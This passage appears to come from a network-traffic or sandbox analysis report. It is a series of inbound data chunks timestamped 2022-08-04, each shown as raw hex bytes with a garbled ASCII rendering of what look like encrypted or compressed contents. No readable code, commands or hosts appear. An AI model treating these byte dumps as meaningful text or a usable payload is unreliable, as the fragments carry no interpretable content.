64 b1 d3 68 fe 84 df ea f8 91 b4 d2 06 90 d1 39 92 0a bd e0 d7 99 cb Data Ascii: _u]dE3$-Q ?RK1E/sJeFu[qx/3ut:^7}5Ui8A<Kyjtio-lN9,Z~&)\Lu?q{i"ejO[_9Qx8G+>P71O~, M'S~' 3@2.)8fR0Lsdh9
2022-08-04 11:37:02 UTC	416	IN	Data Raw: 3b c7 64 82 9a bb e8 57 e4 ba a6 22 92 fe 2c 8c 98 37 3b 19 74 77 6e b0 2d 12 df 0f 05 9c 5c e9 b0 70 f8 92 0e 69 83 2a 00 60 29 49 97 3c 2f dc 48 de 26 e9 09 d5 d1 a6 e9 75 b2 55 55 b1 03 f6 7f 66 52 0f 95 76 75 e9 d4 ca 5b d2 ee 7d f9 de a5 c6 c9 9d d4 ee cb 52 b8 9d d1 40 eb 7f 1c 7a 9f 51 98 6b 57 cb 04 4a 99 53 3b fd 58 92 fe 99 e9 2a 52 c8 fa 8a 91 58 e8 c6 41 33 5a 97 7e 3c e4 ee aa 9d cc 3a 9c 2d e1 ed 6a 2c 3f 48 bd f4 f9 c2 c3 f0 79 19 64 03 ee 09 a5 ec f5 65 ad 21 2f 0b f1 90 9c d9 9d d6 28 c5 31 ff d2 a0 ef 94 d6 4a 35 ec d1 f4 d8 75 4c 25 09 ce d5 6e 6a 84 ce f8 07 0b cf 50 aa 7b 84 02 f6 ea fc 41 a2 78 7b a0 2e 5c 2e 70 72 5d f0 15 94 d3 52 f6 d1 c1 01 d6 66 cd 10 2a eb 2e f2 5b 09 b2 23 ff 16 7d 16 44 2b 22 fb 98 9e 29 9f 84 91 ef be f6 9f Data Ascii: ;dW",7;twn-\pi`)I</H&uUUfRvu[}R@zQkWJS;XRXA3Z~<:-j,?Hyde!/(1J5uL%njP{Ax{.\.pr]Rf*.[#}D+")
2022-08-04 11:37:02 UTC	432	IN	Data Raw: 91 d5 af a1 2c 24 e9 06 6c e2 d0 70 7d 7f d7 c5 15 82 86 26 90 08 53 80 80 76 b4 10 41 2c d7 24 12 6a 17 82 12 51 0c 4d 60 ae ee 4e 6a 24 0d b1 83 2b 41 55 23 02 11 2c 34 28 b4 11 d7 79 36 e1 0d 60 2b 0d c8 1f f5 00 69 24 67 c4 02 2e 47 49 03 de e9 ae 6d fe ff a9 8a 05 6c a5 18 97 77 15 38 32 e1 00 b1 dc 12 cf 0a 71 90 4b 2a 6f 22 02 95 c1 5d 45 3c 08 e4 e2 82 c2 45 33 02 71 6f 69 57 e5 29 3b 02 23 b2 b0 ea 3c ec c1 5a 37 22 33 03 59 f3 a5 90 a3 09 01 97 cf 07 b8 5d db 89 3b f5 1c 9c 25 2b 3c 7d 46 f0 96 76 8b 33 3a 57 96 72 e6 39 9f 71 09 c0 32 d4 20 4f 5a 0c 3c 7e 1b 80 fb e4 b5 d3 14 01 c7 dc fc 4a 34 3e ab 39 28 3e b1 11 04 ad ab f2 a5 cb 66 03 c1 bd 73 5f e9 c6 50 ef 86 a9 9a 64 9e 0b 00 44 38 27 41 b2 ea 96 de 58 45 08 4e 13 a2 ad 92 ec 73 b2 03 73 Data Ascii: ,$lp}&SvA,$jQM`Nj$+AU#,4(y6`+i$g.GImlw82qK*o"]E<E3qoiW);#<Z7"3Y];%+<}Fv3:Wr9q2 OZ<~J4>9(>fs_PdD8'AXENss
2022-08-04 11:37:02 UTC	448	IN	Data Raw: fb 99 72 3b ab 49 b0 0b 56 e4 eb c2 06 d4 23 5a 57 65 bd 3f 4e fa 39 d8 2c 54 4b 8a 15 39 cf 92 8b 27 eb 28 93 c2 97 77 bb f6 d5 53 5d 16 86 fa 29 66 7b bc f4 c4 e3 20 a8 38 d7 ed 94 5e 3d f2 26 f6 5b 81 ab 63 39 2e 84 4c eb f6 12 13 29 d8 89 ef 3b 94 7f ff a7 35 5f b2 9f 5f 8a 5e 27 3f 58 31 0a e9 90 60 15 3f 07 a6 9c 30 fe 14 01 c1 9b c9 07 42 80 0c c6 db 6b 92 21 48 9d 59 58 69 d3 03 65 66 ae b5 60 2a fe 3b e9 38 0d 70 85 90 37 88 07 a7 79 63 44 ec b1 83 28 89 47 f9 4a 66 2a 2e 4a dd ad a7 4a 64 34 0b bd e3 54 e9 cd 8f 28 04 4a 22 e9 78 34 b5 99 f1 31 34 c7 ca bf 34 f6 d7 b3 b6 b7 09 44 2b 30 74 11 52 af e6 ef 21 ee 4d cc ed f6 c5 95 2e 5c c9 d9 dd ec 6d 9f c2 1a f6 ce 5a d5 a0 da 8d ba 93 30 bf 6e 4b c7 55 81 f1 99 65 9e b5 5d e3 58 2e db 03 a2 97 9f Data Ascii: r;IV#ZWe?N9,TK9'(wS])f{ 8^=&[c9.L);5__^'?X1`?0Bk!HYXief`;8p7ycD(GJf.JJd4T(J"x4144D+0tR!M.\mZ0nKUe]X.
2022-08-04 11:37:02 UTC	464	IN	Data Raw: 7b 6a 2d e5 76 c6 70 81 80 2b e6 6f 4b e3 e0 53 29 4e e8 65 f4 f6 57 4a a1 c0 cd fa 20 50 fb c9 0c ca ee da bf ce ec 4e e8 b6 a7 50 bc e9 bf 58 1d 9c 2e c9 46 11 82 a7 82 92 09 ff 5d f3 23 27 f9 fd 84 44 09 28 ee f3 0e 5a bc a2 4f 9d 1f 3e ed f5 b4 bb 34 9a f8 34 59 1f cb 4c f4 1b 92 07 ac e4 a0 ec 4d 31 53 f9 4e 5d b4 d1 52 d3 ea 8b 90 46 4f df ac 3e c1 63 3c 24 3b f9 fb d3 a0 5a f6 4f 88 2d 70 de df ce f7 43 c2 13 01 de b7 5d 7a 98 25 9d f8 d0 b7 f9 3b c9 f4 e1 7a 7d b1 02 0c 93 ae 01 fa 29 30 3e 8b b8 d2 bb b2 f1 12 ff 31 fa 1d 77 e5 f4 76 a5 89 6c 5c 56 5b aa dd 5e 18 42 c9 49 57 6c 8d bc 5c 59 02 14 ab f8 05 58 34 4e ba 8e 7e 5f a1 30 6b 74 27 ef 9d 7c fa d3 ad 2d db 17 a5 dd ba da 51 ad 9a 3a 8a 7d e6 7d 25 e7 88 ee 97 7a c4 86 27 c0 e9 db 59 b8 4a Data Ascii: {j-vp+oKS)NeWJ PNPX.F]#'D(ZO>44YLM1SN]RFO>c<$;ZO-pC]z%;z})0>1wvl\V[^BIWl\YX4N~_0kt'\|-Q:}}%z'YJ
2022-08-04 11:37:02 UTC	480	IN	Data Raw: b1 c6 37 0d 2a d8 8a cf 97 32 2a 0b 4d 04 68 75 eb 77 44 7f 69 d4 75 c7 15 02 9b 60 9c 1b f5 9a 46 18 93 31 30 b5 5c 77 5c 9a 5a 5a 3b af 2c de 2b 5b 39 e9 16 e2 25 c6 7f 25 31 e6 cc 98 b8 52 4e 7d 28 83 31 ef 6f a3 26 dc 30 55 45 33 3b 12 4d 31 d8 a2 a3 27 c0 b2 63 54 46 26 8b 16 d0 b9 45 99 40 7d 3b c9 b6 2e a9 0b 97 be 8a dd 73 9d d5 16 8a dd b2 c4 45 21 3b ba b4 fc f4 b7 c5 5a 92 3c ac 58 b4 ab 64 60 fb 01 5e 83 7d 7f 15 3b a3 a0 4b fd d2 e4 24 84 bb b3 f0 d7 e8 76 a3 c8 b4 8c 5f f3 94 72 c2 41 8a 8b 93 c0 3f 93 0f 27 86 1b 16 e2 b5 5e b2 6b 56 8d 2f e5 f8 85 4c 21 da a7 9a 5e be 28 d7 eb 5f 10 3c 03 c8 fd 26 6a 5a 82 b1 ea 5d 5c 24 7a 58 db 9c 79 25 71 20 c2 c4 1c 73 53 a5 7a ae 9d f1 ce 65 c3 24 57 ba d8 df c2 95 59 dc eb 74 75 2d c5 0a 0b ea 90 f1 Data Ascii: 72MhuwDiu`F10\w\ZZ;,+[9%%1RN}(1o&0UE3;M1'cTF&E@};.sE!;Z<Xd`^};K$v_rA?'^kV/L!^(_<&jZ]\$zXy%q sSze$WYtu-
2022-08-04 11:37:02 UTC	496	IN	Data Raw: 06 f7 8a 3e 25 d4 d9 25 d6 17 eb fe 3c a0 e7 fa 6c 4a ca e6 9b 3f 8b cc 2e 04 06 0e 42 3e ac 90 96 72 08 f3 6c f2 4e 3f ea 35 b8 fa 84 26 ac 0b 5e 70 90 01 fe 4d 20 09 ca b5 d8 15 4b eb bf 2d 95 04 d3 ea 8b 62 25 c2 55 45 ab a7 5d 47 45 92 0b fc e5 a5 be 34 ab eb 92 28 31 77 5c 4e 3d 4b ef d8 79 e3 4e 90 cf 7a 11 c4 78 58 cc 25 e3 f3 7b 3b de ad 3a cb f4 dd bc bf aa 0d 57 73 ad 0a ec 01 75 92 3f a7 b5 7a 4e 09 be 64 c3 ae f0 f7 c7 b5 53 a9 2d 61 50 e8 6a 9d 4d 2d 5c c5 cf 08 e2 11 d3 fc 43 58 16 34 ff 07 ba ce 55 3e 09 de 67 0c 99 dc c2 13 d9 ff dd 55 7b f6 d8 2d c2 5e f1 72 5d 56 bf 45 cf 71 5a cc 04 10 4c 8b 1f 9e fd e9 d8 69 2e 31 d8 a1 7a 50 93 97 7b 42 8b 63 7d 30 fc cf 78 86 9c ea ad 5d 94 69 9f ec 3c 40 38 e3 b9 5f ca 9d 12 c9 62 00 1e 21 44 23 0f Data Ascii: >%%<lJ?.B>rlN?5&^pM K-b%UE]GE4(1w\N=KyNzxX%{;:Wsu?zNdS-aPjM-\CX4U>gU{-^r]VEqZLi.1zP{Bc}0x]i<@8_b!D#
2022-08-04 11:37:02 UTC	512	IN	Data Raw: 73 ae a3 e6 9a 02 df ee 86 99 79 27 7d 67 5c a5 5d 09 05 75 c5 f2 2f c4 33 9d 71 6c 6b 5f ee e7 5e e1 ae 22 50 28 57 51 fa a1 31 4b 46 83 0b 44 21 28 49 fd 4c a0 5f d1 b2 a5 97 fb 9d 5c 29 11 13 c4 04 cb 9b 4a bd 18 0b 54 cd 70 e2 19 16 ca 95 fb 14 14 ef ea 25 ff d4 ea c9 c1 b9 44 2e e1 8d 38 f0 d2 b1 d1 7c 3d 6b 41 71 5b 4b ff 90 48 09 f9 73 44 4c 2f 40 a8 05 85 25 db a2 8b 09 19 f8 36 9f db d7 24 4c a7 1a 09 57 74 25 59 49 7e fd b2 8b eb 6c c0 5e 7c 71 b7 01 d5 3b fc ed ca 66 88 0b 5c c3 77 b1 ca 4c d6 e3 f0 c2 ef 75 e5 bb 17 f2 cc ad c2 4c 45 87 c9 cd d7 c4 39 05 f4 c1 e0 9e 0c cb c0 46 b4 45 9d 7f ad 4b 89 f8 7f 63 92 b2 ed 59 55 4b d9 48 2d 71 73 c2 01 d3 d7 c5 f7 a7 ff 9a bf d5 94 67 95 f3 1e 17 f3 af c4 20 fa fd ea 96 f2 fe 05 9d d3 08 9c ba 28 19 Data Ascii: sy'}g\]u/3qlk_^"P(WQ1KFD!(IL_\)JTp%D.8\|=kAq[KHsDL/@%6$LWt%YI~l^\|q;f\wLuLE9FEKcYUKH-qsg (
2022-08-04 11:37:02 UTC	528	IN	Data Raw: 1d 57 5b 5f ee 6a 24 05 e9 7b 1b 73 f8 9e 5f be 28 cd 44 05 33 0a 4d 39 0e fb f7 70 4b bb 39 f5 3b b6 ed 34 20 ed f6 2b 5b 7d a8 7a 62 05 08 d0 24 9d f2 0f e6 31 9d fa 0d e7 f7 fb c7 8d 2e 2e 23 12 10 38 4e f5 ae 0b 22 88 0c 48 d1 1a 10 e4 41 be 37 86 a4 32 8f 07 a2 5b 02 fc ae a2 e6 5f 9c 71 bf 98 bb 68 01 b1 a0 6b 57 65 52 24 8e 62 c7 03 a2 60 31 d8 75 fb 56 93 d9 b6 33 59 78 4b ef cb 29 45 ab 3b fe 2d e0 30 aa f0 95 51 14 44 ea fc 66 a5 84 d5 ec bf e4 13 a5 bf a2 80 d2 b9 80 4a b4 dd c2 5b 14 8b bc 4a ac 1a 8a d7 c6 97 22 fe 29 5b e2 6c 89 27 e4 03 5f 4e bd ee 80 be 46 e4 f2 ef b8 0c b5 fa d9 dc 6a a1 dc 7a 99 67 20 85 f2 81 09 93 0c f8 bb dc f7 cf 9b 9c 14 d7 da 2f d2 45 6b 93 04 a3 7d 8b 2d d9 8f 86 e0 4c 63 70 20 21 f2 f3 48 24 c8 9c 0f 65 88 e8 f2 Data Ascii: W[_j${s_(D3M9pK9;4 +[}zb$1..#8N"HA72[_qhkWeR$b`1uV3YxK)E;-0QDfJ[J")[l'_NFjzg /Ek}-Lcp !H$e
2022-08-04 11:37:02 UTC	544	IN	Data Raw: b2 ce d2 d9 31 70 0b 18 aa b9 7e ab 2d db 93 05 41 b1 ee fa ca 24 16 c1 12 e7 67 4a fa 35 b3 ef f2 82 02 29 e2 45 30 0e 5d 76 04 e4 c5 be a2 25 89 14 7e 36 5a fd 33 6e 73 ef 7f 09 bf 5b 15 a7 51 fc c2 e5 80 5f b4 8f 9f 5b c6 2f e4 79 96 e5 c4 89 fb 29 7b 7a 64 8a bf bc 83 f5 ab 61 eb 03 33 4a 81 4a bf 62 1e cd 89 59 8f d8 03 fe 42 44 ec e6 a2 51 53 25 72 7e c4 7c ae 9c 28 05 95 de 9b 5a 8b 70 60 97 db 01 5b 30 84 53 a8 c1 a5 e1 dd 3b cb 30 58 d1 a1 ea 80 52 2e d5 77 d2 f2 ee c3 9f b8 1f 01 f0 bf 42 15 dd f3 1e 1a 8b 8e dc 2c 24 87 6b 7f c7 de 92 ed f8 91 a4 ab ac e0 c4 c1 06 8a 2a 65 30 4c ba 86 aa 30 af 20 27 df 24 98 e6 17 ae 84 01 db 04 29 0e 57 4b c1 77 33 a6 a9 2c e9 33 be 13 fe f4 9c bb a2 87 02 ee 1b 0c 9f 3f 77 c7 ff 2f 59 72 c8 62 85 45 33 29 ba Data Ascii: 1p~-A$gJ5)E0]v%~6Z3ns[Q_[/y){zda3JJbYBDQS%r~\|(Zp`[0S;0XR.wB,$k*e0L0 '$)WKw3,3?w/YrbE3)
2022-08-04 11:37:02 UTC	560	IN	Data Raw: bf 74 bf 25 bb fa 3c e8 e7 9f 31 36 1d 4a 4f 65 30 cc a8 89 4f 17 d0 e5 57 2e ec 43 a4 f9 6d d7 e2 b8 93 b9 f2 d2 bb b2 ed c2 4c 31 c0 5f fb 22 89 f6 88 71 fc af d2 57 94 fc 5a 5c b5 c9 89 2d dd e2 c7 7f 67 25 27 45 eb ad f9 01 44 cc ae 99 1a 6a d9 75 2b bc 52 4e bf 35 90 b1 e8 a8 06 b8 82 c0 75 db 6a 27 e9 70 ec 7e 9a 50 5f 61 6f e1 3f 23 a4 04 fe 44 33 07 ee 29 f7 2b f7 fb 0b 4d 21 fc df b8 dc 29 d3 bf d9 3d 44 07 ff dd 1b e9 d1 3e e7 24 69 d0 7f 4e a7 9f b0 1b f1 88 a4 22 98 d2 0b 67 54 3a 42 29 09 59 c3 6b d8 ed b7 db a4 8e 45 01 56 fc cb a6 88 bc e3 53 bd a6 8a 29 1e b0 eb 77 ed d0 a7 76 cc 42 44 31 88 8c 7b 12 e1 ea e2 c3 d5 ff 52 ad ca c6 6b 45 f5 af a2 d3 c8 4d 16 3f 2d 6f 3e 62 89 ea 57 ec 3c 17 f7 1f 0c ea 75 a0 e3 64 17 8b 36 ab 29 fb 3e 61 a3 Data Ascii: t%<16JOe0OW.CmL1_"qWZ\-g%'EDju+RN5uj'p~P_ao?#D3)+M!)=D>$iN"gT:B)YkEVS)wvBD1{RkEM?-o>bW<ud6)>a
2022-08-04 11:37:02 UTC	576	IN	Data Raw: 0a 88 b2 0c c6 7d 5e d5 53 4e 0f b3 d8 96 a7 cb 4c 46 4a 99 f4 2e 1f 9a 6c 49 e9 75 6c 24 51 c5 37 6b c2 68 39 7d ba c3 c2 4d 7d f3 cf 3b a7 e5 f5 96 87 b7 2b 2d d7 4c d1 49 c6 63 8b cd 7c 24 71 44 78 9a 4a bc e5 4f 2d ca 2a c5 1e fe da 7e 5a 32 a7 e2 55 53 c8 4d 61 3a e2 59 97 a8 2e 46 7f 10 c5 78 c5 cd 20 cc 1a ca 97 5b 22 2a ba 87 7f af 75 33 43 83 04 84 53 c2 5a c2 d5 1e b6 9f ce bc 4b eb a6 c0 6b 23 5e fe 7a d4 20 27 96 c9 b5 00 13 77 47 79 10 9d 76 b0 69 57 71 3f a0 c1 ef e9 c7 45 dc e2 fc d1 9b 5b b2 fc 96 f9 11 d2 95 fd 04 1a c5 44 be 22 c8 b0 75 fb 06 27 f1 21 a7 75 e1 c4 c9 3f bc 6e b5 e7 c6 4b a9 8b d2 be 74 bd 62 ed f4 f7 14 25 52 e9 5c 41 af 6a 64 81 32 df fc 7e 65 cb 70 31 b5 ce 19 b5 fc a8 62 31 d1 e3 2e a2 38 57 4c 72 b7 d1 95 c2 29 d8 f6 Data Ascii: }^SNLFJ.lIul$Q7kh9}M};+-LIc\|$qDxJO-~Z2USMa:Y.Fx ["u3CSZKk#^z 'wGyviWq?E[D"u'!u?nKtb%R\Ajd2~ep1b1.8WLr)
2022-08-04 11:37:02 UTC	592	IN	Data Raw: dd 67 21 ad fe 43 52 dc 24 25 14 fd 27 e3 10 e6 04 1f 66 8b 37 67 b0 60 01 ee a2 c4 59 c2 42 e9 90 57 16 16 c9 dc f2 5d 59 86 c4 e1 bf 39 be 42 36 ca 51 1e 6a 74 c2 f4 10 92 75 45 b4 89 f4 20 d6 06 72 dd 79 74 84 29 ea 44 bc 2f 8b ca b3 00 3d 15 c0 7a 44 0c e9 53 75 c1 93 2d 2a 6d d4 4b ae 75 46 fd 6f 8e 31 eb 56 b3 2d 29 70 22 17 69 8b 56 74 82 51 c4 2e d9 72 4c 3e 07 5f 01 d8 a9 5e ba 89 b5 ec bc dd 25 af 45 63 a2 84 e8 0f 22 85 42 86 58 f8 29 ac 4a a6 0d 86 4a 8e 95 d3 a3 b2 31 84 c2 80 56 ae 14 e7 14 a3 01 be 99 40 45 8e d6 6d ad d1 c7 31 fc ab ee e2 56 f0 60 22 52 2a 25 01 0b 56 47 6b 2a f2 2e f4 c9 a6 6e 95 d5 32 6f 5d 09 9b d9 9c 6e e5 31 f9 bf 99 dd 19 86 78 ab cb d1 53 4c a5 f5 e7 2b b5 0f f3 5f 91 98 20 9a 53 4e e4 42 79 24 34 c5 68 bb 39 a8 fc Data Ascii: g!CR$%'f7g`YBW]Y9B6QjtuE ryt)D/=zDSu-mKuFo1V-)p"iVtQ.rL>_^%Ec"BX)JJ1V@Em1V`"R%VGk*.n2o]n1xSL+_ SNBy$4h9
2022-08-04 11:37:02 UTC	608	IN	Data Raw: 72 4d cf 73 97 a2 70 0b 4c 01 ff ff 14 01 bd ee e8 9b 4b 1f ef a4 4e c5 12 ec 03 e5 ff 9d ef 3a 52 99 eb 74 7f e9 7c 94 63 50 3d 21 27 f8 4c 65 7f a7 55 3a 51 7f 42 90 75 c5 b6 97 37 b6 1f 25 08 d9 48 4b d5 81 35 45 31 11 db 9a e3 6a bf 75 d6 0b d2 77 67 72 a5 db 2c 91 cf 89 cd d3 a7 2d 99 97 f7 2a ba 39 1a f9 ee 2f be 39 a6 78 03 5a 99 8a 2b 17 52 ae 29 14 36 28 50 20 4c 2d 21 ff 5d ba 14 f7 32 ca 7d d3 9c a0 ac 9f f1 2f ea f6 2d e2 b0 75 fb 57 0b 31 fc ce 65 9d 4c 3a 9c c5 c3 01 fa d4 64 fb c4 82 ae 65 88 51 82 a4 4e ae 28 41 e4 ef 69 a8 d5 86 4b 8a 97 40 9c 75 e0 ff 4b e6 af 7c 92 0c 93 82 1f 34 67 7d c5 29 28 67 7d 37 fa e9 94 a1 cf a4 33 31 bb b2 20 ca 21 28 c7 1c eb 94 33 44 cb 40 39 8a 3e 89 80 ff 9a 57 71 4d 2d 58 84 72 20 27 9f 64 f6 d4 5a 43 c5 Data Ascii: rMspLKN:Rt\|cP=!'LeU:QBu7%HK5E1juwgr,-*9/9xZ+R)6(P L-!]2}/-uW1eL:deQN(AiK@uK\|4g})(g}731 !(3D@9>WqM-Xr 'dZC
2022-08-04 11:37:02 UTC	624	IN	Data Raw: 48 9d 41 52 0f a6 fa 5e b8 64 5e 99 00 65 20 2f fb 29 de 2f f2 41 3a 29 fd 25 01 cf 57 3a 85 4c e0 98 c1 97 14 98 bf 66 bd 3d 89 db 51 c8 2a f8 09 a5 fb 8f 6f 4c 3e 4b eb 38 3a 01 b7 e6 28 2f c2 08 c5 8b 96 48 74 8d 56 a9 b3 0f 93 d8 d5 63 5e 3e d4 a5 ab d1 8b ed 01 23 7a df 05 39 ff e0 ab 8e 82 77 04 26 56 1d 84 2a bb da f2 05 c5 8a cc 22 ad d0 d3 12 e7 fb 28 6c c4 9d 46 bc 5f f7 64 9c fb 64 c3 ef fc f5 5a fd 01 41 ab 2f 9b 88 4b fb 74 01 52 c4 bc de b0 0f b7 5d 97 ee ea 95 d5 96 5a 95 25 57 ef aa b2 f7 d6 eb 31 a7 03 1e 2e 29 df 6e 84 36 77 c3 a8 40 21 c0 03 19 9d f5 1c d7 4a e2 aa ce c1 69 30 e2 02 94 53 f4 c0 95 fc 28 cb de 60 c2 21 df 72 94 9d 4c 96 4e 0d eb 8f 8b 27 ed d1 05 49 32 cb 57 d9 39 b8 a5 12 71 6b 6c 4a c3 bf d3 62 04 45 8a 75 ba fc 25 20 Data Ascii: HAR^d^e /)/A:)%W:Lf=QoL>K8:(/HtVc^>#z9w&V"(lF_ddZA/KtR]Z%W1.)n6w@!Ji0S(`!rLN'I2W9qklJbEu%
2022-08-04 11:37:02 UTC	640	IN	Data Raw: e0 5f 3e 5d 15 1e 94 37 54 b3 ea b7 46 ca 9a a7 8a f4 aa 2d c5 18 17 e8 b2 32 d1 95 4b cb 3a 04 45 8b 1a 41 f7 4a 11 c1 1e 09 44 23 09 55 89 ec 47 0d a3 2b 30 2e 22 dc 20 05 92 25 4c 39 0a 28 af 81 5d ce e0 89 f0 54 3f 6e 2b 12 3a 2f 7d ba 4c ba f6 57 70 3f b7 6e cb b7 88 3f c4 29 dc 48 a1 a5 5d 3a 6a 7b 33 25 5f 18 d7 ee 80 ac cb 5a 33 a9 c5 dd d3 f6 ff cf fa 17 e2 78 9d d0 79 22 4b af 71 d1 05 66 2a ce a2 4e fa 65 09 f8 8f 82 44 03 30 f7 b8 e4 21 f1 9f 7e c9 9c d0 fc f3 9f e5 59 26 dd 6b 57 89 da f5 6e 46 4a e4 39 88 6a e9 4f 97 95 83 bf 39 3b 23 56 5f bc dc 7a 25 f4 f0 1e 59 b5 d4 ac 2f f7 9e 8a 25 e2 3f 16 a8 b7 73 85 01 20 d5 58 98 2b 3b e7 26 4b b8 73 e1 e1 08 2f 3d c6 3a c4 ff ab 29 c9 60 bb 2f 89 c9 02 38 6c 80 52 78 54 d3 f9 da cb e1 c6 7b 04 f6 Data Ascii: _>]7TF-2K:EAJD#UG+0." %L9(]T?n+:/}LWp?n?)H]:j{3%_Z3xy"Kqf*NeD0!~Y&kWnFJ9jO9;#V_z%Y/%?s X+;&Ks/=:)`/8lRxT{
2022-08-04 11:37:02 UTC	656	IN	Data Raw: 09 ca 10 9c 95 90 07 4b cb b2 62 92 fb f2 6c d6 e6 1f 89 c9 fe 4b 72 73 73 a4 8b 15 38 af 7a 4e 2d ee 09 ba e9 77 1e b9 ee 7c d6 0f ef 18 77 f8 f1 a8 13 9c c0 5a 52 21 bf f3 26 df 8b e3 8e 57 12 15 d6 f1 73 b0 07 70 6f 25 15 11 5d 1c 0f 05 0a 53 b2 f3 0f 29 21 92 36 fa bc 66 c8 1e 81 44 0b 3a 4d 39 ce 57 ec 1c f4 01 4d e0 89 c2 41 b1 40 5f 64 09 bf 03 90 e0 10 84 52 b7 76 4a f6 27 48 59 4e b3 e0 d7 52 60 ff 9d d4 66 fa 04 44 30 09 49 8a 1a 5f e5 77 3e bc 93 a2 ec b0 ff e4 90 a4 1c 70 f0 97 45 7e 20 ca 55 d1 a6 3f f1 59 39 d1 d3 ee d9 50 6e 57 64 bc 7f a7 d5 c1 fe ca d6 5f f9 7c 84 cc f0 9d 70 e8 e4 20 86 4f e9 aa cb f1 5b 65 41 ea c4 f0 bf e3 52 27 4c 57 04 8c fd a9 b9 9a 67 7d 4c 11 4a 3f fa 67 a3 75 ed e3 96 5e be 53 e9 bf 2d 00 2b 13 8e f2 49 9d d2 01 Data Ascii: KblKrss8zN-w\|wZR!&Wspo%]S)!6fD:M9WMA@_dRvJ'HYNR`fD0I_w>pE~ U?Y9PnWd_\|p O[eAR'LWg}LJ?gu^S-+I
2022-08-04 11:37:02 UTC	672	IN	Data Raw: a7 8d 02 2d 2a 61 12 f8 aa 9d 28 2a a5 03 2b a8 db e4 cd 3a 3b ed aa 4b af 69 e2 3e ca fd 16 e1 3f a2 7c d3 ef 99 42 45 69 b9 0b c5 29 d7 93 1f 10 84 52 fa 64 db 9b 9c 4e ec a1 25 16 57 ba f2 75 79 26 93 e9 f5 ad f4 f5 08 b5 1c d9 82 8e 55 d3 20 89 e5 88 71 67 e9 e4 bc 25 21 d8 55 91 86 c5 2e e3 ec 92 0b 11 ce 94 99 b7 5b 10 09 21 d0 77 32 f6 de 70 0b 36 7c a4 86 40 aa 2d c6 7a 57 d3 af c2 d5 ef 54 31 e9 d4 45 2f 1c 8a a2 54 41 3d d1 cc 01 f1 97 d3 29 2f 55 22 74 c2 7c 75 9c 55 27 09 d0 5d e8 6c c2 0b 15 bc ba 39 d3 2f 17 56 fd 51 c6 69 31 a4 ee 8f cf 12 41 23 f0 f9 39 4f 1e bf 38 5d 6d e0 e6 13 8c 39 5d ba e2 f9 c0 27 66 50 87 08 9f 59 ed 7b ca 3a 96 38 28 21 7d 54 12 6f 01 3c be a3 f6 93 d8 3a 89 4a f2 bb 69 42 02 c8 ff 52 2f 97 d2 f0 24 ce f0 cc 7a 5f Data Ascii: -a(+:;Ki>?\|BEi)RdN%Wuy&U qg%!U.[!w2p6\|@-zWT1E/TA=)/U"t\|uU']l9/VQi1A#9O8]m9]'fPY{:8(!}To<:JiBR/$z_
2022-08-04 11:37:02 UTC	688	IN	Data Raw: 09 04 f9 f5 42 41 31 49 75 f3 6f 9d 9f 7d c0 c8 c6 49 df ba d7 ee e1 2e c4 1e 29 c8 e4 c4 c2 aa 35 89 fa 15 59 cf 97 e1 d5 0b d0 5a dc 08 48 9d f5 30 60 e0 78 95 c7 4e 3a ad d7 1b a3 fa 10 fc 6c 78 c5 0c 96 e9 cd bd 7c e6 4b af 77 9a 8b 39 58 55 44 58 13 e9 bf 8b ab 4b ab 32 3c 25 6c 09 9c 65 48 f6 17 f1 ab 28 a5 ef b4 c1 52 fd f1 e3 ad 7a 1d 4b 20 cb b5 09 45 33 13 79 5e 49 dd 05 e6 d6 eb 29 be 3b a7 11 2c 88 2b cb 30 17 f8 45 2f 01 10 d3 09 af 45 76 2c 5e af db 2a 89 31 d7 fb 02 26 b9 0f 0b 43 0f 2d b2 ff e6 54 5c a5 4a 8b ac 4a ab 9b a1 2f e9 14 39 95 cc 7f 97 df 39 0e 49 6e 34 66 b1 90 2f fa 38 7c 31 4a f6 bf 65 03 95 5d f3 fb 93 ac 15 7a b7 d9 d3 c9 6a 3a 7d b8 b0 31 f3 b7 0b 85 f6 fd 9e ee e7 7d 2b f1 7c a3 7a 46 00 9f 7c 87 e5 c0 0c 37 45 30 41 80 Data Ascii: BA1Iuo}I.)5YZH0`xN:lx\|Kw9XUDXK2<%leH(RzK E3y^I);,+0E/Ev,^*1&C-T\JJ/99In4f/8\|1Je]zj:}1}+\|zF\|7E0A
2022-08-04 11:37:02 UTC	704	IN	Data Raw: 58 17 bd 71 14 49 d6 36 c2 e1 90 10 09 c9 bf 71 9d 52 57 4e f5 25 01 f9 d5 9a fd a4 af 07 b6 08 5a f7 a7 17 09 f9 bd 5b 13 01 f0 74 c4 ea d7 3e 31 c9 45 2b ca 5d 45 1a 92 eb ea 9d bc 32 61 5a fc 33 b4 ba e2 a8 19 31 d8 66 c0 67 20 5e a6 04 5a 8a 64 5e b5 99 6f f3 af 9a 0f 5f 1c e8 bd d3 45 27 5e b6 5b 4b c6 fc 99 b1 cf 20 7d 37 97 a1 39 2e cb 91 4b ae 9c 10 41 02 81 33 da d3 62 34 57 42 10 77 4e 60 2d 89 ec 7c 04 44 f7 ae 63 9f 67 ec ba 28 d3 4c 77 89 b8 64 5f e8 e6 24 00 41 8a 14 24 80 fa 8d 15 0f 86 0a 46 03 f0 dd 34 3b 26 27 72 f7 7e b5 5a 57 fb 33 bf 58 ad c5 2d 04 f8 ba c8 07 01 c2 41 62 a4 34 33 d5 10 e6 40 84 21 fe f9 19 97 aa 8b 9d 5e dd ce fd 3c 66 74 93 e6 ae 5e a6 43 7e a4 b0 95 57 22 9a cd 10 d9 da eb c2 ca d6 af 5a df 89 ec 79 52 c9 fe 09 65 Data Ascii: XqI6qRWN%Z[t>1E+]E2aZ31fg ^Zd^o_E'^[K }79.KA3b4WBwN`-\|Dcg(Lwd_$A$F4;&'r~ZW3X-Ab43@!^<ft^C~W"ZyRe
